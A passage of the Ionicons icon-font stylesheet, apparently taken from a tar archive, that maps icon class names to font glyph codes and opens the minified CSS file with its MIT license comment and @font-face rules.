.ion-md-bicycle:before { content: "\f299"; } .ion-md-bluetooth:before { content: "\f29a"; } .ion-md-boat:before { content: "\f29b"; } .ion-md-body:before { content: "\f29c"; } .ion-md-bonfire:before { content: "\f29d"; } .ion-md-book:before { content: "\f29e"; } .ion-md-bookmark:before { content: "\f29f"; } .ion-md-bookmarks:before { content: "\f2a0"; } .ion-md-bowtie:before { content: "\f2a1"; } .ion-md-briefcase:before { content: "\f2a2"; } .ion-md-browsers:before { content: "\f2a3"; } .ion-md-brush:before { content: "\f2a4"; } .ion-md-bug:before { content: "\f2a5"; } .ion-md-build:before { content: "\f2a6"; } .ion-md-bulb:before { content: "\f2a7"; } .ion-md-bus:before { content: "\f2a8"; } .ion-md-business:before { content: "\f1a4"; } .ion-md-cafe:before { content: "\f2a9"; } .ion-md-calculator:before { content: "\f2aa"; } .ion-md-calendar:before { content: "\f2ab"; } .ion-md-call:before { content: "\f2ac"; } .ion-md-camera:before { content: "\f2ad"; } .ion-md-car:before { content: "\f2b2"; } .ion-md-card:before { content: "\f2b3"; } .ion-md-cart:before { content: "\f2b4"; } .ion-md-cash:before { content: "\f2b5"; } .ion-md-cellular:before { content: "\f164"; } .ion-md-chatboxes:before { content: "\f2b6"; } .ion-md-chatbubbles:before { content: "\f2b7"; } .ion-md-checkbox:before { content: "\f2b9"; } .ion-md-checkbox-outline:before { content: "\f2b8"; } .ion-md-checkmark:before { content: "\f2bc"; } .ion-md-checkmark-circle:before { content: "\f2bb"; } .ion-md-checkmark-circle-outline:before { content: "\f2ba"; } .ion-md-clipboard:before { content: "\f2bd"; } .ion-md-clock:before { content: "\f2be"; } .ion-md-close:before { content: "\f2c0"; } .ion-md-close-circle:before { content: "\f2bf"; } .ion-md-close-circle-outline:before { content: "\f166"; } .ion-md-cloud:before { content: "\f2c9"; } .ion-md-cloud-circle:before { content: "\f2c2"; } .ion-md-cloud-done:before { content: "\f2c3"; } .ion-md-cloud-download:before { content: "\f2c6"; } .ion-md-cloud-outline:before { content: "\f2c7"; } .ion-md-cloud-upload:before { content: "\f2c8"; } .ion-md-cloudy:before { content: "\f2cb"; } .ion-md-cloudy-night:before { content: "\f2ca"; } .ion-md-code:before { content: "\f2ce"; } .ion-md-code-download:before { content: "\f2cc"; } .ion-md-code-working:before { content: "\f2cd"; } .ion-md-cog:before { content: "\f2cf"; } .ion-md-color-fill:before { content: "\f2d0"; } .ion-md-color-filter:before { content: "\f2d1"; } .ion-md-color-palette:before { content: "\f2d2"; } .ion-md-color-wand:before { content: "\f2d3"; } .ion-md-compass:before { content: "\f2d4"; } .ion-md-construct:before { content: "\f2d5"; } .ion-md-contact:before { content: "\f2d6"; } .ion-md-contacts:before { content: "\f2d7"; } .ion-md-contract:before { content: "\f2d8"; } .ion-md-contrast:before { content: "\f2d9"; } .ion-md-copy:before { content: "\f2da"; } .ion-md-create:before { content: "\f2db"; } .ion-md-crop:before { content: "\f2dc"; } .ion-md-cube:before { content: "\f2dd"; } .ion-md-cut:before { content: "\f2de"; } .ion-md-desktop:before { content: "\f2df"; } .ion-md-disc:before { content: "\f2e0"; } .ion-md-document:before { content: "\f2e1"; } .ion-md-done-all:before { content: "\f2e2"; } .ion-md-download:before { content: "\f2e3"; } .ion-md-easel:before { content: "\f2e4"; } .ion-md-egg:before { content: "\f2e5"; } .ion-md-exit:before { content: "\f2e6"; } .ion-md-expand:before { content: "\f2e7"; } .ion-md-eye:before { content: "\f2e9"; } .ion-md-eye-off:before { content: "\f2e8"; } .ion-md-fastforward:before { content: "\f2ea"; } .ion-md-female:before { content: "\f2eb"; } .ion-md-filing:before { content: "\f2ec"; } .ion-md-film:before { content: "\f2ed"; } .ion-md-finger-print:before { content: "\f2ee"; } .ion-md-fitness:before { content: "\f1ac"; } .ion-md-flag:before { content: "\f2ef"; } .ion-md-flame:before { content: "\f2f0"; } .ion-md-flash:before { content: "\f2f1"; } .ion-md-flash-off:before { content: "\f169"; } .ion-md-flashlight:before { content: "\f16b"; } .ion-md-flask:before { content: "\f2f2"; } .ion-md-flower:before { content: "\f2f3"; } .ion-md-folder:before { content: "\f2f5"; } .ion-md-folder-open:before { content: "\f2f4"; } .ion-md-football:before { content: "\f2f6"; } .ion-md-funnel:before { content: "\f2f7"; } .ion-md-gift:before { content: "\f199"; } .ion-md-git-branch:before { content: "\f2fa"; } .ion-md-git-commit:before { content: "\f2fb"; } .ion-md-git-compare:before { content: "\f2fc"; } .ion-md-git-merge:before { content: "\f2fd"; } .ion-md-git-network:before { content: "\f2fe"; } .ion-md-git-pull-request:before { content: "\f2ff"; } .ion-md-glasses:before { content: "\f300"; } .ion-md-globe:before { content: "\f301"; } .ion-md-grid:before { content: "\f302"; } .ion-md-hammer:before { content: "\f303"; } .ion-md-hand:before { content: "\f304"; } .ion-md-happy:before { content: "\f305"; } .ion-md-headset:before { content: "\f306"; } .ion-md-heart:before { content: "\f308"; } .ion-md-heart-dislike:before { content: "\f167"; } .ion-md-heart-empty:before { content: "\f1a1"; } .ion-md-heart-half:before { content: "\f1a2"; } .ion-md-help:before { content: "\f30b"; } .ion-md-help-buoy:before { content: "\f309"; } .ion-md-help-circle:before { content: "\f30a"; } .ion-md-help-circle-outline:before { content: "\f16d"; } .ion-md-home:before { content: "\f30c"; } .ion-md-hourglass:before { content: "\f111"; } .ion-md-ice-cream:before { content: "\f30d"; } .ion-md-image:before { content: "\f30e"; } .ion-md-images:before { content: "\f30f"; } .ion-md-infinite:before { content: "\f310"; } .ion-md-information:before { content: "\f312"; } .ion-md-information-circle:before { content: "\f311"; } .ion-md-information-circle-outline:before { content: "\f16f"; } .ion-md-jet:before { content: "\f315"; } .ion-md-journal:before { content: "\f18d"; } .ion-md-key:before { content: "\f316"; } .ion-md-keypad:before { content: "\f317"; } .ion-md-laptop:before { content: "\f318"; } .ion-md-leaf:before { content: "\f319"; } .ion-md-link:before { content: "\f22e"; } .ion-md-list:before { content: "\f31b"; } .ion-md-list-box:before { content: "\f31a"; } .ion-md-locate:before { content: "\f31c"; } .ion-md-lock:before { content: "\f31d"; } .ion-md-log-in:before { content: "\f31e"; } .ion-md-log-out:before { content: "\f31f"; } .ion-md-magnet:before { content: "\f320"; } .ion-md-mail:before { content: "\f322"; } .ion-md-mail-open:before { content: "\f321"; } .ion-md-mail-unread:before { content: "\f172"; } .ion-md-male:before { content: "\f323"; } .ion-md-man:before { content: "\f324"; } .ion-md-map:before { content: "\f325"; } .ion-md-medal:before { content: "\f326"; } .ion-md-medical:before { content: "\f327"; } .ion-md-medkit:before { content: "\f328"; } .ion-md-megaphone:before { content: "\f329"; } .ion-md-menu:before { content: "\f32a"; } .ion-md-mic:before { content: "\f32c"; } .ion-md-mic-off:before { content: "\f32b"; } .ion-md-microphone:before { content: "\f32d"; } .ion-md-moon:before { content: "\f32e"; } .ion-md-more:before { content: "\f1c9"; } .ion-md-move:before { content: "\f331"; } .ion-md-musical-note:before { content: "\f332"; } .ion-md-musical-notes:before { content: "\f333"; } .ion-md-navigate:before { content: "\f334"; } .ion-md-notifications:before { content: "\f338"; } .ion-md-notifications-off:before { content: "\f336"; } .ion-md-notifications-outline:before { content: "\f337"; } .ion-md-nuclear:before { content: "\f339"; } .ion-md-nutrition:before { content: "\f33a"; } .ion-md-open:before { content: "\f33b"; } .ion-md-options:before { content: "\f33c"; } .ion-md-outlet:before { content: "\f33d"; } .ion-md-paper:before { content: "\f33f"; } .ion-md-paper-plane:before { content: "\f33e"; } .ion-md-partly-sunny:before { content: "\f340"; } .ion-md-pause:before { content: "\f341"; } .ion-md-paw:before { content: "\f342"; } .ion-md-people:before { content: "\f343"; } .ion-md-person:before { content: "\f345"; } .ion-md-person-add:before { content: "\f344"; } .ion-md-phone-landscape:before { content: "\f346"; } .ion-md-phone-portrait:before { content: "\f347"; } .ion-md-photos:before { content: "\f348"; } .ion-md-pie:before { content: "\f349"; } .ion-md-pin:before { content: "\f34a"; } .ion-md-pint:before { content: "\f34b"; } .ion-md-pizza:before { content: "\f354"; } .ion-md-planet:before { content: "\f356"; } .ion-md-play:before { content: "\f357"; } .ion-md-play-circle:before { content: "\f174"; } .ion-md-podium:before { content: "\f358"; } .ion-md-power:before { content: "\f359"; } .ion-md-pricetag:before { content: "\f35a"; } .ion-md-pricetags:before { content: "\f35b"; } .ion-md-print:before { content: "\f35c"; } .ion-md-pulse:before { content: "\f35d"; } .ion-md-qr-scanner:before { content: "\f35e"; } .ion-md-quote:before { content: "\f35f"; } .ion-md-radio:before { content: "\f362"; } .ion-md-radio-button-off:before { content: "\f360"; } .ion-md-radio-button-on:before { content: "\f361"; } .ion-md-rainy:before { content: "\f363"; } .ion-md-recording:before { content: "\f364"; } .ion-md-redo:before { content: "\f365"; } .ion-md-refresh:before { content: "\f366"; } .ion-md-refresh-circle:before { content: "\f228"; } .ion-md-remove:before { content: "\f368"; } .ion-md-remove-circle:before { content: "\f367"; } .ion-md-remove-circle-outline:before { content: "\f176"; } .ion-md-reorder:before { content: "\f369"; } .ion-md-repeat:before { content: "\f36a"; } .ion-md-resize:before { content: "\f36b"; } .ion-md-restaurant:before { content: "\f36c"; } .ion-md-return-left:before { content: "\f36d"; } .ion-md-return-right:before { content: "\f36e"; } .ion-md-reverse-camera:before { content: "\f36f"; } .ion-md-rewind:before { content: "\f370"; } .ion-md-ribbon:before { content: "\f371"; } .ion-md-rocket:before { content: "\f179"; } .ion-md-rose:before { content: "\f372"; } .ion-md-sad:before { content: "\f373"; } .ion-md-save:before { content: "\f1a9"; } .ion-md-school:before { content: "\f374"; } .ion-md-search:before { content: "\f375"; } .ion-md-send:before { content: "\f376"; } .ion-md-settings:before { content: "\f377"; } .ion-md-share:before { content: "\f379"; } .ion-md-share-alt:before { content: "\f378"; } .ion-md-shirt:before { content: "\f37a"; } .ion-md-shuffle:before { content: "\f37b"; } .ion-md-skip-backward:before { content: "\f37c"; } .ion-md-skip-forward:before { content: "\f37d"; } .ion-md-snow:before { content: "\f37e"; } .ion-md-speedometer:before { content: "\f37f"; } .ion-md-square:before { content: "\f381"; } .ion-md-square-outline:before { content: "\f380"; } .ion-md-star:before { content: "\f384"; } .ion-md-star-half:before { content: "\f382"; } .ion-md-star-outline:before { content: "\f383"; } .ion-md-stats:before { content: "\f385"; } .ion-md-stopwatch:before { content: "\f386"; } .ion-md-subway:before { content: "\f387"; } .ion-md-sunny:before { content: "\f388"; } .ion-md-swap:before { content: "\f389"; } .ion-md-switch:before { content: "\f38a"; } .ion-md-sync:before { content: "\f38b"; } .ion-md-tablet-landscape:before { content: "\f38c"; } .ion-md-tablet-portrait:before { content: "\f38d"; } .ion-md-tennisball:before { content: "\f38e"; } .ion-md-text:before { content: "\f38f"; } .ion-md-thermometer:before { content: "\f390"; } .ion-md-thumbs-down:before { content: "\f391"; } .ion-md-thumbs-up:before { content: "\f392"; } .ion-md-thunderstorm:before { content: "\f393"; } .ion-md-time:before { content: "\f394"; } .ion-md-timer:before { content: "\f395"; } .ion-md-today:before { content: "\f17d"; } .ion-md-train:before { content: "\f396"; } .ion-md-transgender:before { content: "\f397"; } .ion-md-trash:before { content: "\f398"; } .ion-md-trending-down:before { content: "\f399"; } .ion-md-trending-up:before { content: "\f39a"; } .ion-md-trophy:before { content: "\f39b"; } .ion-md-tv:before { content: "\f17f"; } .ion-md-umbrella:before { content: "\f39c"; } .ion-md-undo:before { content: "\f39d"; } .ion-md-unlock:before { content: "\f39e"; } .ion-md-videocam:before { content: "\f39f"; } .ion-md-volume-high:before { content: "\f123"; } .ion-md-volume-low:before { content: "\f131"; } .ion-md-volume-mute:before { content: "\f3a1"; } .ion-md-volume-off:before { content: "\f3a2"; } .ion-md-walk:before { content: "\f3a4"; } .ion-md-wallet:before { content: "\f18f"; } .ion-md-warning:before { content: "\f3a5"; } .ion-md-watch:before { content: "\f3a6"; } .ion-md-water:before { content: "\f3a7"; } .ion-md-wifi:before { content: "\f3a8"; } .ion-md-wine:before { content: "\f3a9"; } .ion-md-woman:before { content: "\f3aa"; } css/ionicons.min.css000064400000133012151701353760010461 0ustar00/*! Ionicons, v4.4.5 Created by Ben Sperry for the Ionic Framework, http://ionicons.com/ https://twitter.com/benjsperry https://twitter.com/ionicframework MIT License: https://github.com/driftyco/ionicons Android-style icons originally built by Google’s Material Design Icons: https://github.com/google/material-design-icons used under CC BY http://creativecommons.org/licenses/by/4.0/ Modified icons to fit ionicon’s grid from original. */@font-face{font-family:"Ionicons";src:url("../fonts/ionicons.eot?v=4.4.5");src:url("../fonts/ionicons.eot?v=4.4.5#iefix") format("embedded-opentype"),url("../fonts/ionicons.woff2?v=4.4.5") format("woff2"),url("../fonts/ionicons.woff?v=4.4.5") format("woff"),url("../fonts/ionicons.ttf?v=4.4.5") format("truetype"),url("../fonts/ionicons.svg?v=4.4.5#Ionicons") format("svg");font-weight:normal;font-style:normal}.ion,.ionicons,.ion-ios-add:before,.ion-ios-add-circle:before,.ion-ios-add-circle-outline:before,.ion-ios-airplane:before,.ion-ios-alarm:before,.ion-ios-albums:before,.ion-ios-alert:before,.ion-ios-american-football:before,.ion-ios-analytics:before,.ion-ios-aperture:before,.ion-ios-apps:before,.ion-ios-appstore:before,.ion-ios-archive:before,.ion-ios-arrow-back:before,.ion-ios-arrow-down:before,.ion-ios-arrow-dropdown:before,.ion-ios-arrow-dropdown-circle:before,.ion-ios-arrow-dropleft:before,.ion-ios-arrow-dropleft-circle:before,.ion-ios-arrow-dropright:before,.ion-ios-arrow-dropright-circle:before,.ion-ios-arrow-dropup:before,.ion-ios-arrow-dropup-circle:before,.ion-ios-arrow-forward:before,.ion-ios-arrow-round-back:before,.ion-ios-arrow-round-down:before,.ion-ios-arrow-round-forward:before,.ion-ios-arrow-round-up:before,.ion-ios-arrow-up:before,.ion-ios-at:before,.ion-ios-attach:before,.ion-ios-backspace:before,.ion-ios-barcode:before,.ion-ios-baseball:before,.ion-ios-basket:before,.ion-ios-basketball:before,.ion-ios-battery-charging:before,.ion-ios-battery-dead:before,.ion-ios-battery-full:before,.ion-ios-beaker:before,.ion-ios-bed:before,.ion-ios-beer:before,.ion-ios-bicycle:before,.ion-ios-bluetooth:before,.ion-ios-boat:before,.ion-ios-body:before,.ion-ios-bonfire:before,.ion-ios-book:before,.ion-ios-bookmark:before,.ion-ios-bookmarks:before,.ion-ios-bowtie:before,.ion-ios-briefcase:before,.ion-ios-browsers:before,.ion-ios-brush:before,.ion-ios-bug:before,.ion-ios-build:before,.ion-ios-bulb:before,.ion-ios-bus:before,.ion-ios-business:before,.ion-ios-cafe:before,.ion-ios-calculator:before,.ion-ios-calendar:before,.ion-ios-call:before,.ion-ios-camera:before,.ion-ios-car:before,.ion-ios-card:before,.ion-ios-cart:before,.ion-ios-cash:before,.ion-ios-cellular:before,.ion-ios-chatboxes:before,.ion-ios-chatbubbles:before,.ion-ios-checkbox:before,.ion-ios-checkbox-outline:before,.ion-ios-checkmark:before,.ion-ios-checkmark-circle:before,.ion-ios-checkmark-circle-outline:before,.ion-ios-clipboard:before,.ion-ios-clock:before,.ion-ios-close:before,.ion-ios-close-circle:before,.ion-ios-close-circle-outline:before,.ion-ios-cloud:before,.ion-ios-cloud-circle:before,.ion-ios-cloud-done:before,.ion-ios-cloud-download:before,.ion-ios-cloud-outline:before,.ion-ios-cloud-upload:before,.ion-ios-cloudy:before,.ion-ios-cloudy-night:before,.ion-ios-code:before,.ion-ios-code-download:before,.ion-ios-code-working:before,.ion-ios-cog:before,.ion-ios-color-fill:before,.ion-ios-color-filter:before,.ion-ios-color-palette:before,.ion-ios-color-wand:before,.ion-ios-compass:before,.ion-ios-construct:before,.ion-ios-contact:before,.ion-ios-contacts:before,.ion-ios-contract:before,.ion-ios-contrast:before,.ion-ios-copy:before,.ion-ios-create:before,.ion-ios-crop:before,.ion-ios-cube:before,.ion-ios-cut:before,.ion-ios-desktop:before,.ion-ios-disc:before,.ion-ios-document:before,.ion-ios-done-all:before,.ion-ios-download:before,.ion-ios-easel:before,.ion-ios-egg:before,.ion-ios-exit:before,.ion-ios-expand:before,.ion-ios-eye:before,.ion-ios-eye-off:before,.ion-ios-fastforward:before,.ion-ios-female:before,.ion-ios-filing:before,.ion-ios-film:before,.ion-ios-finger-print:before,.ion-ios-fitness:before,.ion-ios-flag:before,.ion-ios-flame:before,.ion-ios-flash:before,.ion-ios-flash-off:before,.ion-ios-flashlight:before,.ion-ios-flask:before,.ion-ios-flower:before,.ion-ios-folder:before,.ion-ios-folder-open:before,.ion-ios-football:before,.ion-ios-funnel:before,.ion-ios-gift:before,.ion-ios-git-branch:before,.ion-ios-git-commit:before,.ion-ios-git-compare:before,.ion-ios-git-merge:before,.ion-ios-git-network:before,.ion-ios-git-pull-request:before,.ion-ios-glasses:before,.ion-ios-globe:before,.ion-ios-grid:before,.ion-ios-hammer:before,.ion-ios-hand:before,.ion-ios-happy:before,.ion-ios-headset:before,.ion-ios-heart:before,.ion-ios-heart-dislike:before,.ion-ios-heart-empty:before,.ion-ios-heart-half:before,.ion-ios-help:before,.ion-ios-help-buoy:before,.ion-ios-help-circle:before,.ion-ios-help-circle-outline:before,.ion-ios-home:before,.ion-ios-hourglass:before,.ion-ios-ice-cream:before,.ion-ios-image:before,.ion-ios-images:before,.ion-ios-infinite:before,.ion-ios-information:before,.ion-ios-information-circle:before,.ion-ios-information-circle-outline:before,.ion-ios-jet:before,.ion-ios-journal:before,.ion-ios-key:before,.ion-ios-keypad:before,.ion-ios-laptop:before,.ion-ios-leaf:before,.ion-ios-link:before,.ion-ios-list:before,.ion-ios-list-box:before,.ion-ios-locate:before,.ion-ios-lock:before,.ion-ios-log-in:before,.ion-ios-log-out:before,.ion-ios-magnet:before,.ion-ios-mail:before,.ion-ios-mail-open:before,.ion-ios-mail-unread:before,.ion-ios-male:before,.ion-ios-man:before,.ion-ios-map:before,.ion-ios-medal:before,.ion-ios-medical:before,.ion-ios-medkit:before,.ion-ios-megaphone:before,.ion-ios-menu:before,.ion-ios-mic:before,.ion-ios-mic-off:before,.ion-ios-microphone:before,.ion-ios-moon:before,.ion-ios-more:before,.ion-ios-move:before,.ion-ios-musical-note:before,.ion-ios-musical-notes:before,.ion-ios-navigate:before,.ion-ios-notifications:before,.ion-ios-notifications-off:before,.ion-ios-notifications-outline:before,.ion-ios-nuclear:before,.ion-ios-nutrition:before,.ion-ios-open:before,.ion-ios-options:before,.ion-ios-outlet:before,.ion-ios-paper:before,.ion-ios-paper-plane:before,.ion-ios-partly-sunny:before,.ion-ios-pause:before,.ion-ios-paw:before,.ion-ios-people:before,.ion-ios-person:before,.ion-ios-person-add:before,.ion-ios-phone-landscape:before,.ion-ios-phone-portrait:before,.ion-ios-photos:before,.ion-ios-pie:before,.ion-ios-pin:before,.ion-ios-pint:before,.ion-ios-pizza:before,.ion-ios-planet:before,.ion-ios-play:before,.ion-ios-play-circle:before,.ion-ios-podium:before,.ion-ios-power:before,.ion-ios-pricetag:before,.ion-ios-pricetags:before,.ion-ios-print:before,.ion-ios-pulse:before,.ion-ios-qr-scanner:before,.ion-ios-quote:before,.ion-ios-radio:before,.ion-ios-radio-button-off:before,.ion-ios-radio-button-on:before,.ion-ios-rainy:before,.ion-ios-recording:before,.ion-ios-redo:before,.ion-ios-refresh:before,.ion-ios-refresh-circle:before,.ion-ios-remove:before,.ion-ios-remove-circle:before,.ion-ios-remove-circle-outline:before,.ion-ios-reorder:before,.ion-ios-repeat:before,.ion-ios-resize:before,.ion-ios-restaurant:before,.ion-ios-return-left:before,.ion-ios-return-right:before,.ion-ios-reverse-camera:before,.ion-ios-rewind:before,.ion-ios-ribbon:before,.ion-ios-rocket:before,.ion-ios-rose:before,.ion-ios-sad:before,.ion-ios-save:before,.ion-ios-school:before,.ion-ios-search:before,.ion-ios-send:before,.ion-ios-settings:before,.ion-ios-share:before,.ion-ios-share-alt:before,.ion-ios-shirt:before,.ion-ios-shuffle:before,.ion-ios-skip-backward:before,.ion-ios-skip-forward:before,.ion-ios-snow:before,.ion-ios-speedometer:before,.ion-ios-square:before,.ion-ios-square-outline:before,.ion-ios-star:before,.ion-ios-star-half:before,.ion-ios-star-outline:before,.ion-ios-stats:before,.ion-ios-stopwatch:before,.ion-ios-subway:before,.ion-ios-sunny:before,.ion-ios-swap:before,.ion-ios-switch:before,.ion-ios-sync:before,.ion-ios-tablet-landscape:before,.ion-ios-tablet-portrait:before,.ion-ios-tennisball:before,.ion-ios-text:before,.ion-ios-thermometer:before,.ion-ios-thumbs-down:before,.ion-ios-thumbs-up:before,.ion-ios-thunderstorm:before,.ion-ios-time:before,.ion-ios-timer:before,.ion-ios-today:before,.ion-ios-train:before,.ion-ios-transgender:before,.ion-ios-trash:before,.ion-ios-trending-down:before,.ion-ios-trending-up:before,.ion-ios-trophy:before,.ion-ios-tv:before,.ion-ios-umbrella:before,.ion-ios-undo:before,.ion-ios-unlock:before,.ion-ios-videocam:before,.ion-ios-volume-high:before,.ion-ios-volume-low:before,.ion-ios-volume-mute:before,.ion-ios-volume-off:before,.ion-ios-walk:before,.ion-ios-wallet:before,.ion-ios-warning:before,.ion-ios-watch:before,.ion-ios-water:before,.ion-ios-wifi:before,.ion-ios-wine:before,.ion-ios-woman:before,.ion-logo-android:before,.ion-logo-angular:before,.ion-logo-apple:before,.ion-logo-bitbucket:before,.ion-logo-bitcoin:before,.ion-logo-buffer:before,.ion-logo-chrome:before,.ion-logo-closed-captioning:before,.ion-logo-codepen:before,.ion-logo-css3:before,.ion-logo-designernews:before,.ion-logo-dribbble:before,.ion-logo-dropbox:before,.ion-logo-euro:before,.ion-logo-facebook:before,.ion-logo-flickr:before,.ion-logo-foursquare:before,.ion-logo-freebsd-devil:before,.ion-logo-game-controller-a:before,.ion-logo-game-controller-b:before,.ion-logo-github:before,.ion-logo-google:before,.ion-logo-googleplus:before,.ion-logo-hackernews:before,.ion-logo-html5:before,.ion-logo-instagram:before,.ion-logo-ionic:before,.ion-logo-ionitron:before,.ion-logo-javascript:before,.ion-logo-linkedin:before,.ion-logo-markdown:before,.ion-logo-model-s:before,.ion-logo-no-smoking:before,.ion-logo-nodejs:before,.ion-logo-npm:before,.ion-logo-octocat:before,.ion-logo-pinterest:before,.ion-logo-playstation:before,.ion-logo-polymer:before,.ion-logo-python:before,.ion-logo-reddit:before,.ion-logo-rss:before,.ion-logo-sass:before,.ion-logo-skype:before,.ion-logo-slack:before,.ion-logo-snapchat:before,.ion-logo-steam:before,.ion-logo-tumblr:before,.ion-logo-tux:before,.ion-logo-twitch:before,.ion-logo-twitter:before,.ion-logo-usd:before,.ion-logo-vimeo:before,.ion-logo-vk:before,.ion-logo-whatsapp:before,.ion-logo-windows:before,.ion-logo-wordpress:before,.ion-logo-xbox:before,.ion-logo-xing:before,.ion-logo-yahoo:before,.ion-logo-yen:before,.ion-logo-youtube:before,.ion-md-add:before,.ion-md-add-circle:before,.ion-md-add-circle-outline:before,.ion-md-airplane:before,.ion-md-alarm:before,.ion-md-albums:before,.ion-md-alert:before,.ion-md-american-football:before,.ion-md-analytics:before,.ion-md-aperture:before,.ion-md-apps:before,.ion-md-appstore:before,.ion-md-archive:before,.ion-md-arrow-back:before,.ion-md-arrow-down:before,.ion-md-arrow-dropdown:before,.ion-md-arrow-dropdown-circle:before,.ion-md-arrow-dropleft:before,.ion-md-arrow-dropleft-circle:before,.ion-md-arrow-dropright:before,.ion-md-arrow-dropright-circle:before,.ion-md-arrow-dropup:before,.ion-md-arrow-dropup-circle:before,.ion-md-arrow-forward:before,.ion-md-arrow-round-back:before,.ion-md-arrow-round-down:before,.ion-md-arrow-round-forward:before,.ion-md-arrow-round-up:before,.ion-md-arrow-up:before,.ion-md-at:before,.ion-md-attach:before,.ion-md-backspace:before,.ion-md-barcode:before,.ion-md-baseball:before,.ion-md-basket:before,.ion-md-basketball:before,.ion-md-battery-charging:before,.ion-md-battery-dead:before,.ion-md-battery-full:before,.ion-md-beaker:before,.ion-md-bed:before,.ion-md-beer:before,.ion-md-bicycle:before,.ion-md-bluetooth:before,.ion-md-boat:before,.ion-md-body:before,.ion-md-bonfire:before,.ion-md-book:before,.ion-md-bookmark:before,.ion-md-bookmarks:before,.ion-md-bowtie:before,.ion-md-briefcase:before,.ion-md-browsers:before,.ion-md-brush:before,.ion-md-bug:before,.ion-md-build:before,.ion-md-bulb:before,.ion-md-bus:before,.ion-md-business:before,.ion-md-cafe:before,.ion-md-calculator:before,.ion-md-calendar:before,.ion-md-call:before,.ion-md-camera:before,.ion-md-car:before,.ion-md-card:before,.ion-md-cart:before,.ion-md-cash:before,.ion-md-cellular:before,.ion-md-chatboxes:before,.ion-md-chatbubbles:before,.ion-md-checkbox:before,.ion-md-checkbox-outline:before,.ion-md-checkmark:before,.ion-md-checkmark-circle:before,.ion-md-checkmark-circle-outline:before,.ion-md-clipboard:before,.ion-md-clock:before,.ion-md-close:before,.ion-md-close-circle:before,.ion-md-close-circle-outline:before,.ion-md-cloud:before,.ion-md-cloud-circle:before,.ion-md-cloud-done:before,.ion-md-cloud-download:before,.ion-md-cloud-outline:before,.ion-md-cloud-upload:before,.ion-md-cloudy:before,.ion-md-cloudy-night:before,.ion-md-code:before,.ion-md-code-download:before,.ion-md-code-working:before,.ion-md-cog:before,.ion-md-color-fill:before,.ion-md-color-filter:before,.ion-md-color-palette:before,.ion-md-color-wand:before,.ion-md-compass:before,.ion-md-construct:before,.ion-md-contact:before,.ion-md-contacts:before,.ion-md-contract:before,.ion-md-contrast:before,.ion-md-copy:before,.ion-md-create:before,.ion-md-crop:before,.ion-md-cube:before,.ion-md-cut:before,.ion-md-desktop:before,.ion-md-disc:before,.ion-md-document:before,.ion-md-done-all:before,.ion-md-download:before,.ion-md-easel:before,.ion-md-egg:before,.ion-md-exit:before,.ion-md-expand:before,.ion-md-eye:before,.ion-md-eye-off:before,.ion-md-fastforward:before,.ion-md-female:before,.ion-md-filing:before,.ion-md-film:before,.ion-md-finger-print:before,.ion-md-fitness:before,.ion-md-flag:before,.ion-md-flame:before,.ion-md-flash:before,.ion-md-flash-off:before,.ion-md-flashlight:before,.ion-md-flask:before,.ion-md-flower:before,.ion-md-folder:before,.ion-md-folder-open:before,.ion-md-football:before,.ion-md-funnel:before,.ion-md-gift:before,.ion-md-git-branch:before,.ion-md-git-commit:before,.ion-md-git-compare:before,.ion-md-git-merge:before,.ion-md-git-network:before,.ion-md-git-pull-request:before,.ion-md-glasses:before,.ion-md-globe:before,.ion-md-grid:before,.ion-md-hammer:before,.ion-md-hand:before,.ion-md-happy:before,.ion-md-headset:before,.ion-md-heart:before,.ion-md-heart-dislike:before,.ion-md-heart-empty:before,.ion-md-heart-half:before,.ion-md-help:before,.ion-md-help-buoy:before,.ion-md-help-circle:before,.ion-md-help-circle-outline:before,.ion-md-home:before,.ion-md-hourglass:before,.ion-md-ice-cream:before,.ion-md-image:before,.ion-md-images:before,.ion-md-infinite:before,.ion-md-information:before,.ion-md-information-circle:before,.ion-md-information-circle-outline:before,.ion-md-jet:before,.ion-md-journal:before,.ion-md-key:before,.ion-md-keypad:before,.ion-md-laptop:before,.ion-md-leaf:before,.ion-md-link:before,.ion-md-list:before,.ion-md-list-box:before,.ion-md-locate:before,.ion-md-lock:before,.ion-md-log-in:before,.ion-md-log-out:before,.ion-md-magnet:before,.ion-md-mail:before,.ion-md-mail-open:before,.ion-md-mail-unread:before,.ion-md-male:before,.ion-md-man:before,.ion-md-map:before,.ion-md-medal:before,.ion-md-medical:before,.ion-md-medkit:before,.ion-md-megaphone:before,.ion-md-menu:before,.ion-md-mic:before,.ion-md-mic-off:before,.ion-md-microphone:before,.ion-md-moon:before,.ion-md-more:before,.ion-md-move:before,.ion-md-musical-note:before,.ion-md-musical-notes:before,.ion-md-navigate:before,.ion-md-notifications:before,.ion-md-notifications-off:before,.ion-md-notifications-outline:before,.ion-md-nuclear:before,.ion-md-nutrition:before,.ion-md-open:before,.ion-md-options:before,.ion-md-outlet:before,.ion-md-paper:before,.ion-md-paper-plane:before,.ion-md-partly-sunny:before,.ion-md-pause:before,.ion-md-paw:before,.ion-md-people:before,.ion-md-person:before,.ion-md-person-add:before,.ion-md-phone-landscape:before,.ion-md-phone-portrait:before,.ion-md-photos:before,.ion-md-pie:before,.ion-md-pin:before,.ion-md-pint:before,.ion-md-pizza:before,.ion-md-planet:before,.ion-md-play:before,.ion-md-play-circle:before,.ion-md-podium:before,.ion-md-power:before,.ion-md-pricetag:before,.ion-md-pricetags:before,.ion-md-print:before,.ion-md-pulse:before,.ion-md-qr-scanner:before,.ion-md-quote:before,.ion-md-radio:before,.ion-md-radio-button-off:before,.ion-md-radio-button-on:before,.ion-md-rainy:before,.ion-md-recording:before,.ion-md-redo:before,.ion-md-refresh:before,.ion-md-refresh-circle:before,.ion-md-remove:before,.ion-md-remove-circle:before,.ion-md-remove-circle-outline:before,.ion-md-reorder:before,.ion-md-repeat:before,.ion-md-resize:before,.ion-md-restaurant:before,.ion-md-return-left:before,.ion-md-return-right:before,.ion-md-reverse-camera:before,.ion-md-rewind:before,.ion-md-ribbon:before,.ion-md-rocket:before,.ion-md-rose:before,.ion-md-sad:before,.ion-md-save:before,.ion-md-school:before,.ion-md-search:before,.ion-md-send:before,.ion-md-settings:before,.ion-md-share:before,.ion-md-share-alt:before,.ion-md-shirt:before,.ion-md-shuffle:before,.ion-md-skip-backward:before,.ion-md-skip-forward:before,.ion-md-snow:before,.ion-md-speedometer:before,.ion-md-square:before,.ion-md-square-outline:before,.ion-md-star:before,.ion-md-star-half:before,.ion-md-star-outline:before,.ion-md-stats:before,.ion-md-stopwatch:before,.ion-md-subway:before,.ion-md-sunny:before,.ion-md-swap:before,.ion-md-switch:before,.ion-md-sync:before,.ion-md-tablet-landscape:before,.ion-md-tablet-po